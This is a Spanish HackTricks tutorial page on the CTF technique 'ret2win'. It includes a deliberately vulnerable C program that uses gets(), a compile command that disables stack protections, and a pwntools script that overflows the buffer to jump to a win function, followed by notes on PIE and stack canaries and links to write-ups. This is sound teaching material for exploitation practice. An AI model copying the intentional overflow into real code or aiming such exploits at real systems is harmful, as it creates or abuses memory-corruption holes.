hacktricks/binary-exploitation/stack-overflow/ret2win.md

107 lines
7.7 KiB
Markdown

# Ret2win
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica
Los desafíos **Ret2win** son una categoría popular en competiciones de **Capture The Flag (CTF)**, especialmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica no invocada dentro del binario, a menudo nombrada como `win`, `flag`, etc. Esta función, al ejecutarse, generalmente imprime una bandera o un mensaje de éxito. El desafío generalmente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución hacia la función deseada. Aquí tienes una explicación más detallada con ejemplos:
### Ejemplo en C
Considera un programa simple en C con una vulnerabilidad y una función `win` que pretendemos llamar:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).
* `-fno-stack-protector`: Deshabilita las protecciones contra desbordamientos de pila.
* `-z execstack`: Permite la ejecución de código en la pila.
* `-no-pie`: Deshabilita el Ejecutable de Posición Independiente para asegurar que la dirección de la función `win` no cambie.
* `-o vulnerable`: Nombre el archivo de salida como `vulnerable`.
### Exploit en Python usando Pwntools
Para el exploit, utilizaremos **pwntools**, un potente marco de trabajo CTF para escribir exploits. El script de exploit creará un payload para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump**, u otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar:
```sh
objdump -d vulnerable | grep win
```
Este comando mostrará el ensamblado de la función `win`, incluyendo su dirección de inicio.
El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje.
## Protecciones
* [**PIE**](../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea fiable en ejecuciones sucesivas, de lo contrario la dirección donde se almacenará la función no será siempre la misma y se necesitaría alguna filtración para averiguar dónde se encuentra la función `win`. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, se puede hacer un **Sobrescribir Parcial** de 1 o 2 bytes para cambiar la dirección de retorno y que sea la función `win`. Debido a cómo funciona ASLR, los últimos tres nibbles hexadecimales no se aleatorizan, por lo que hay una **probabilidad de 1/16** (1 nibble) de obtener la dirección de retorno correcta.
* Los [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno comprometida de EIP nunca será seguida.
## Otros ejemplos y Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits con ASLR, con una filtración de la dirección binaria
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función `win` (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bits, nx, nada más, sobrescribir parcial de EIP (1 byte) para llamar a la función `win`
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bits, nx, nada más, sobrescribir parcial de EIP (1 byte) para llamar a la función `win`
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* El programa solo valida el último byte de un número para verificar el tamaño de la entrada, por lo tanto es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bits, relro, sin canario, nx, pie. Sobrescribir parcial para llamar a la función `win` (ret2win)